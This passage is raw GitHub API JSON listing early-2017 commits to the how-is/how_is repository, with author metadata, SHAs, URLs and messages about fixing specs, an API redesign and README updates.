pi.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"d5f50615a815d1bed5cdc028abf27e0a45cf4c59","url":"https://api.github.com/repos/how-is/how_is/commits/d5f50615a815d1bed5cdc028abf27e0a45cf4c59","html_url":"https://github.com/how-is/how_is/commit/d5f50615a815d1bed5cdc028abf27e0a45cf4c59"}]},{"sha":"d5f50615a815d1bed5cdc028abf27e0a45cf4c59","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZDVmNTA2MTVhODE1ZDFiZWQ1Y2RjMDI4YWJmMjdlMGE0NWNmNGM1OQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T16:21:02Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T16:21:02Z"},"message":"Fix a spec.","tree":{"sha":"334397c5e6e090fb43fdc09e4d57ebcca6446b67","url":"https://api.github.com/repos/how-is/how_is/git/trees/334397c5e6e090fb43fdc09e4d57ebcca6446b67"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/d5f50615a815d1bed5cdc028abf27e0a45cf4c59","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/d5f50615a815d1bed5cdc028abf27e0a45cf4c59","html_url":"https://github.com/how-is/how_is/commit/d5f50615a815d1bed5cdc028abf27e0a45cf4c59","comments_url":"https://api.github.com/repos/how-is/how_is/commits/d5f50615a815d1bed5cdc028abf27e0a45cf4c59/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"58d71e08af2abb599940bc9c361168ca7405eac7","url":"https://api.github.com/repos/how-is/how_is/commits/58d71e08af2abb599940bc9c361168ca7405eac7","html_url":"https://github.com/how-is/how_is/commit/58d71e08af2abb599940bc9c361168ca7405eac7"}]},{"sha":"58d71e08af2abb599940bc9c361168ca7405eac7","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NThkNzFlMDhhZjJhYmI1OTk5NDBiYzljMzYxMTY4Y2E3NDA1ZWFjNw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T16:14:57Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T16:14:57Z"},"message":"Fix more specs.","tree":{"sha":"31224ad717fb2ca60cb2c820b51c6869ac7f2d92","url":"https://api.github.com/repos/how-is/how_is/git/trees/31224ad717fb2ca60cb2c820b51c6869ac7f2d92"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/58d71e08af2abb599940bc9c361168ca7405eac7","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/58d71e08af2abb599940bc9c361168ca7405eac7","html_url":"https://github.com/how-is/how_is/commit/58d71e08af2abb599940bc9c361168ca7405eac7","comments_url":"https://api.github.com/repos/how-is/how_is/commits/58d71e08af2abb599940bc9c361168ca7405eac7/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"b71d7136c76b2c09c54c2e7c24e4c67af117b9e5","url":"https://api.github.com/repos/how-is/how_is/commits/b71d7136c76b2c09c54c2e7c24e4c67af117b9e5","html_url":"https://github.com/how-is/how_is/commit/b71d7136c76b2c09c54c2e7c24e4c67af117b9e5"}]},{"sha":"b71d7136c76b2c09c54c2e7c24e4c67af117b9e5","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YjcxZDcxMzZjNzZiMmMwOWM1NGMyZTdjMjRlNGM2N2FmMTE3YjllNQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T16:04:58Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T16:04:58Z"},"message":"Fix another spec.","tree":{"sha":"65f70672fa9fb391509cbf19dfb8f07d21c2f009","url":"https://api.github.com/repos/how-is/how_is/git/trees/65f70672fa9fb391509cbf19dfb8f07d21c2f009"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/b71d7136c76b2c09c54c2e7c24e4c67af117b9e5","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/b71d7136c76b2c09c54c2e7c24e4c67af117b9e5","html_url":"https://github.com/how-is/how_is/commit/b71d7136c76b2c09c54c2e7c24e4c67af117b9e5","comments_url":"https://api.github.com/repos/how-is/how_is/commits/b71d7136c76b2c09c54c2e7c24e4c67af117b9e5/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"6e87cd1d584f2d1002bcfbdb710b86f25884e43b","url":"https://api.github.com/repos/how-is/how_is/commits/6e87cd1d584f2d1002bcfbdb710b86f25884e43b","html_url":"https://github.com/how-is/how_is/commit/6e87cd1d584f2d1002bcfbdb710b86f25884e43b"}]},{"sha":"6e87cd1d584f2d1002bcfbdb710b86f25884e43b","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NmU4N2NkMWQ1ODRmMmQxMDAyYmNmYmRiNzEwYjg2ZjI1ODg0ZTQzYg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T15:51:38Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T15:51:38Z"},"message":"Begin work on API redesign.","tree":{"sha":"4f39ae7e290df0ffabae767d8eed9637dc08673d","url":"https://api.github.com/repos/how-is/how_is/git/trees/4f39ae7e290df0ffabae767d8eed9637dc08673d"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/6e87cd1d584f2d1002bcfbdb710b86f25884e43b","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/6e87cd1d584f2d1002bcfbdb710b86f25884e43b","html_url":"https://github.com/how-is/how_is/commit/6e87cd1d584f2d1002bcfbdb710b86f25884e43b","comments_url":"https://api.github.com/repos/how-is/how_is/commits/6e87cd1d584f2d1002bcfbdb710b86f25884e43b/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"46ff57daea43e94617632f2a8d8e905e7cb6750d","url":"https://api.github.com/repos/how-is/how_is/commits/46ff57daea43e94617632f2a8d8e905e7cb6750d","html_url":"https://github.com/how-is/how_is/commit/46ff57daea43e94617632f2a8d8e905e7cb6750d"}]},{"sha":"46ff57daea43e94617632f2a8d8e905e7cb6750d","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NDZmZjU3ZGFlYTQzZTk0NjE3NjMyZjJhOGQ4ZTkwNWU3Y2I2NzUwZA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T15:33:42Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T15:33:42Z"},"message":"Update specs to work with API redesign.","tree":{"sha":"9d98fefe9956234d72dfa636a9dbd72a3626230a","url":"https://api.github.com/repos/how-is/how_is/git/trees/9d98fefe9956234d72dfa636a9dbd72a3626230a"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/46ff57daea43e94617632f2a8d8e905e7cb6750d","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/46ff57daea43e94617632f2a8d8e905e7cb6750d","html_url":"https://github.com/how-is/how_is/commit/46ff57daea43e94617632f2a8d8e905e7cb6750d","comments_url":"https://api.github.com/repos/how-is/how_is/commits/46ff57daea43e94617632f2a8d8e905e7cb6750d/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"09c80f603b6c41a492a3eb2a3abbf5e040d12fbd","url":"https://api.github.com/repos/how-is/how_is/commits/09c80f603b6c41a492a3eb2a3abbf5e040d12fbd","html_url":"https://github.com/how-is/how_is/commit/09c80f603b6c41a492a3eb2a3abbf5e040d12fbd"}]},{"sha":"09c80f603b6c41a492a3eb2a3abbf5e040d12fbd","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MDljODBmNjAzYjZjNDFhNDkyYTNlYjJhM2FiYmY1ZTA0MGQxMmZiZA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-01-27T22:40:07Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-01-27T22:40:07Z"},"message":"Update specs to reflect API redesign.","tree":{"sha":"12557728c784fef51433204e2c49a0aff45b80c5","url":"https://api.github.com/repos/how-is/how_is/git/trees/12557728c784fef51433204e2c49a0aff45b80c5"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/09c80f603b6c41a492a3eb2a3abbf5e040d12fbd","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/09c80f603b6c41a492a3eb2a3abbf5e040d12fbd","html_url":"https://github.com/how-is/how_is/commit/09c80f603b6c41a492a3eb2a3abbf5e040d12fbd","comments_url":"https://api.github.com/repos/how-is/how_is/commits/09c80f603b6c41a492a3eb2a3abbf5e040d12fbd/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"c1a07349b88e3cded20621b76f761a49a1540c61","url":"https://api.github.com/repos/how-is/how_is/commits/c1a07349b88e3cded20621b76f761a49a1540c61","html_url":"https://github.com/how-is/how_is/commit/c1a07349b88e3cded20621b76f761a49a1540c61"}]},{"sha":"72128692e68dfa02d06cbb78f9d9bcf5a39d59d3","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NzIxMjg2OTJlNjhkZmEwMmQwNmNiYjc4ZjlkOWJjZjVhMzlkNTlkMw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-01-22T10:02:08Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-01-22T10:02:08Z"},"message":"Merge pull request #113 from how-is/readme-updates\n\nUpdate README.md","tree":{"sha":"07356173905cf6758725d06cf99d8af226c337c3","url":"https://api.github.com/repos/how-is/how_is/git/trees/07356173905cf6758725d06cf99d8af226c337c3"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/72128692e68dfa02d06cbb78f9d9bcf5a39d59d3","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/72128692e68dfa02d06cbb78f9d9bcf5a39d59d3","html_url":"https://github.com/how-is/how_is/commit/72128692e68dfa02d06cbb78f9d9bcf5a39d59d3","comments_url":"https://api.github.com/repos/how-is/how_is/commits/72128692e68dfa02d06cbb78f9d9bcf5a39d59d3/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"0620b0c2fd094c52e4c735e9bfd6cc3a3115261b","url":"https://api.github.com/repos/how-is/how_is/commits/0620b0c2fd094c52e4c735e9bfd6cc3a3115261b","html_url":"https://github.com/how-is/how_is/commit/0620b0c2fd094c52e4c735e9bfd6cc3a3115261b"},{"sha":"8ff33e5719e1c5e46244f3b069426cf0e736c987","url":"https://api.github.com/repos/how-is/how_is/commits/8ff33e5719e1c5e46244f3b069426cf0e736c987","html_url":"https://github.com/how-is/how_is/commit/8ff33e5719e1c5e46244f3b069426cf0e736c987"}]},{"sha":"8ff33e5719e1c5e46244f3b069426cf0e736c987","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OGZmMzNlNTcxOWUxYzVlNDYyNDRmM2IwNjk0MjZjZjBlNzM2Yzk4Nw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-01-22T10:00:05Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-01-22T10:00:05Z"},"message":"Update README.md","tree":{"sha":"07356173905cf6758725d06cf99d8af226c337c3","url":"https://api.github.com/repos/how-is/how_is/git/trees/07356173905cf6758725d06cf99d8af226c337c3"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/8ff33e5719e1c5e46244f3b069426cf0e736c987","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/8ff33e5719e1c5e46244f3b069426cf0e736c987","html_url":"https://github.com/how-is/how_is/commit/8ff33e5719e1c5e46244f3b069426cf0e736c987","comments_url":"https://api.github.com/repos/how-is/how_is/commits/8ff33e5719e1c5e46244f3b069426cf0e736c987/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"0620b0c2fd094c52e4c735e9bfd6cc3a3115261b","url":"https://api.github.com/repos/how-is/how_is/commits/0620b0c2fd094c52e4c735e9bfd6cc3a3115261b","html_url":"https://github.com/how-is/how_is/commit/0620b0c2fd094c52e4c735e9bfd6cc3a3115261b"}]},{"sha":"0620b0c2fd094c52e4c735e9bfd6cc3a3115261b","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MDYyMGIwYzJmZDA5NGM1MmU0YzczNWU5YmZkNmNjM2EzMTE1MjYxYg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-01-22T07:20:40Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-01-22T07:20:40Z"},"message":"Merge pull request #112 from how-is/update-ruby\n\nremove pdfs and relax rack version","tree":{"sha":"042953fde166884d37451dd4c9a9c8c1f5ca9119","url":"https://api.github.com/repos/how-is/how_is/git/trees/042953fde166884d37451dd4c9a9c8c1f5ca9119"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/0620b0c2fd094c52e4c735e9bfd6cc3a3115261b","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/0620b0c2fd094c52e4c735e9bfd6cc3a3115261b","html_url":"https://github.com/how-is/how_is/commit/0620b0c2fd094c52e4c735e9bfd6cc3a3115261b","comments_url":"https://api.github.com/repos/how-is/how_is/commits/0620b0c2fd094c52e4c735e9bfd6cc3a3115261b/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"c1a07349b88e3cded20621b76f761a49a1540c61","url":"https://api.github.com/repos/how-is/how_is/commits/c1a07349b88e3cded20621b76f761a49a1540c61","html_url":"https://github.com/how-is/how_is/commit/c1a07349b88e3cded20621b76f761a49a1540c61"},{"sha":"ef60fd0e1aad7fd490151bdb99b7fddf1c7d43a2","url":"https://api.github.com/repos/how-is/how_is/commits/ef60fd0e1aad7fd490151bdb99b7fddf1c7d43a2","html_url":"https://github.com/how-is/how_is/commit/ef60fd0e1aad7fd490151bdb99b7fddf1c7d43a2"}]},{"sha":"c1a07349b88e3cded20621b76f761a49a1540c61","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YzFhMDczNDliODhlM2NkZWQyMDYyMWI3NmY3NjFhNDlhMTU0MGM2MQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-01-21T16:09:22Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-01-21T16:09:22Z"},"message":"Merge pull request #109 from how-is/specifications\n\n[design.md] add ''information about how_is'' 